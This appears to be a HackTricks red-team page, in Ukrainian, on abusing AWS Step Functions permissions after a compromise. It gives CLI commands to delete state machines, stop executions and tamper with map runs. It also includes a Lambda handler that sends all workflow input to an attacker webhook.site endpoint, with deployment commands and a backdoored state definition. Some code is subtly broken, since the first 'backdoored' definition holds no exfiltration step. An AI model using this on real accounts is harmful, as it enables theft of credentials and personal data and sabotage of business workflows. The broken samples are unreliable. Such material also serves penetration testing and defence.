AWS - Step Functions Post Exploitation

Reading time: 6 minutes

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks

Step Functions

Для отримання додаткової інформації про цю службу AWS, перегляньте:

AWS - Step Functions Enum

states:RevealSecrets

Цей дозвіл дозволяє викривати секретні дані під час виконання. Для цього потрібно встановити рівень перевірки на TRACE і параметр revealSecrets на true.

states:DeleteStateMachine, states:DeleteStateMachineVersion, states:DeleteStateMachineAlias

Зловмисник з цими дозволами зможе назавжди видалити машини станів, їх версії та псевдоніми. Це може порушити критичні робочі процеси, призвести до втрати даних і вимагати значного часу для відновлення та відновлення постраждалих машин станів. Крім того, це дозволить зловмиснику приховати сліди, що використовуються, порушити судово-медичні розслідування та потенційно паралізувати операції, видаливши важливі автоматизовані процеси та конфігурації станів.

note

  • Видаляючи машину станів, ви також видаляєте всі її асоційовані версії та псевдоніми.
  • Видаляючи псевдонім машини станів, ви не видаляєте версії машини станів, що посилаються на цей псевдонім.
  • Неможливо видалити версію машини станів, яка в даний час посилається на один або кілька псевдонімів.
bash
# Delete state machine
aws stepfunctions delete-state-machine --state-machine-arn <value>
# Delete state machine version
aws stepfunctions delete-state-machine-version --state-machine-version-arn <value>
# Delete state machine alias
aws stepfunctions delete-state-machine-alias --state-machine-alias-arn <value>
  • Потенційний вплив: Порушення критичних робочих процесів, втрата даних та простої в роботі.

states:UpdateMapRun

Зловмисник з цим дозволом зможе маніпулювати конфігурацією невдачі Map Run та паралельними налаштуваннями, маючи можливість збільшувати або зменшувати максимальну кількість дозволених виконань дочірніх робочих процесів, що безпосередньо вплине на продуктивність сервісу. Крім того, зловмисник може підробити відсоток та кількість допустимих невдач, зменшуючи це значення до 0, так що щоразу, коли елемент зазнає невдачі, все виконання карти зазнає невдачі, що безпосередньо вплине на виконання станів і потенційно порушить критичні робочі процеси.

bash
aws stepfunctions update-map-run --map-run-arn <value> [--max-concurrency <value>] [--tolerated-failure-percentage <value>] [--tolerated-failure-count <value>]
  • Потенційний вплив: Зниження продуктивності та порушення критичних робочих процесів.

states:StopExecution

Зловмисник з цим дозволом може зупинити виконання будь-якої машини станів, порушуючи поточні робочі процеси та процеси. Це може призвести до незавершених транзакцій, зупинки бізнес-операцій та потенційного пошкодження даних.

warning

Ця дія не підтримується express state machines.

bash
aws stepfunctions stop-execution --execution-arn <value> [--error <value>] [--cause <value>]
  • Потенційний вплив: Порушення поточних робочих процесів, операційний простій та потенційна корупція даних.

states:TagResource, states:UntagResource

Зловмисник може додавати, змінювати або видаляти теги з ресурсів Step Functions, порушуючи політики розподілу витрат, відстеження ресурсів та контролю доступу вашої організації на основі тегів.

bash
aws stepfunctions tag-resource --resource-arn <value> --tags Key=<key>,Value=<value>
aws stepfunctions untag-resource --resource-arn <value> --tag-keys <key>

Потенційний вплив: Порушення розподілу витрат, відстеження ресурсів та політик контролю доступу на основі тегів.


states:UpdateStateMachine, lambda:UpdateFunctionCode

Зловмисник, який компрометує користувача або роль з наступними дозволами:

json
{
"Version": "2012-10-17",
"Statement": [
{
"Sid": "AllowUpdateStateMachine",
"Effect": "Allow",
"Action": "states:UpdateStateMachine",
"Resource": "*"
},
{
"Sid": "AllowUpdateFunctionCode",
"Effect": "Allow",
"Action": "lambda:UpdateFunctionCode",
"Resource": "*"
}
]
}

...може провести високоефективну та приховану атаку після експлуатації, поєднуючи зворотне програмування Lambda з маніпуляцією логікою Step Function.

Цей сценарій передбачає, що жертва використовує AWS Step Functions для оркестрації робочих процесів, які обробляють чутливі дані, такі як облікові дані, токени або PII.

Приклад виклику жертви:

bash
aws stepfunctions start-execution \
--state-machine-arn arn:aws:states:us-east-1:<victim-account-id>:stateMachine:LegitStateMachine \
--input '{"email": "victim@example.com", "password": "hunter2"}' --profile victim

Якщо Step Function налаштовано для виклику Lambda, як-от LegitBusinessLogic, зловмисник може продовжити з двома прихованими варіантами атаки:


Оновлено функцію lambda

Зловмисник змінює код функції Lambda, яка вже використовується Step Function (LegitBusinessLogic), щоб безшумно ексфільтрувати вхідні дані.

python
# send_to_attacker.py
import requests

def lambda_handler(event, context):
requests.post("https://webhook.site/<attacker-id>/exfil", json=event)
return {"status": "exfiltrated"}
bash
zip function.zip send_to_attacker.py

aws lambda update-function-code \
--function-name LegitBusinessLogic \
--zip-file fileb://function.zip -profile attacker

Додати Шкідливий Стан до Функції Кроків

Альтернативно, зловмисник може впровадити exfiltration state на початку робочого процесу, оновивши визначення Функції Кроків.

malicious_state_definition.json
{
"Comment": "Backdoored for Exfiltration",
"StartAt": "OriginalState",
"States": {
"OriginalState": {
"Type": "Task",
"Resource": "arn:aws:lambda:us-east-1:<victim-id>:function:LegitBusinessLogic",
"End": true
}
}
}

bash
aws stepfunctions update-state-machine \
--state-machine-arn arn:aws:states:us-east-1:<victim-id>:stateMachine:LegitStateMachine \
--definition file://malicious_state_definition.json --profile attacker

Атакуючий може ще більш непомітно оновити визначення стану на щось подібне до цього { "Comment": "Backdoored for Exfiltration", "StartAt": "ExfiltrateSecrets", "States": { "ExfiltrateSecrets": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:SendToAttacker", "InputPath": "$", "ResultPath": "$.exfil", "Next": "OriginalState" }, "OriginalState": { "Type": "Task", "Resource": "arn:aws:lambda:us-east-1:victim-id:function:LegitBusinessLogic", "End": true } } } де жертва не помітить різниці


Налаштування жертви (Контекст для експлуатації)

  • Використовується функція Step (LegitStateMachine) для обробки чутливого вводу користувача.
  • Вона викликає одну або кілька функцій Lambda, таких як LegitBusinessLogic.

Потенційний вплив:

  • Тиха ексфільтрація чутливих даних, включаючи секрети, облікові дані, API ключі та PII.
  • Відсутність видимих помилок або збоїв у виконанні робочого процесу.
  • Важко виявити без аудиту коду Lambda або слідів виконання.
  • Дозволяє довгострокову стійкість, якщо бекдор залишається в коді або логіці ASL.

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримка HackTricks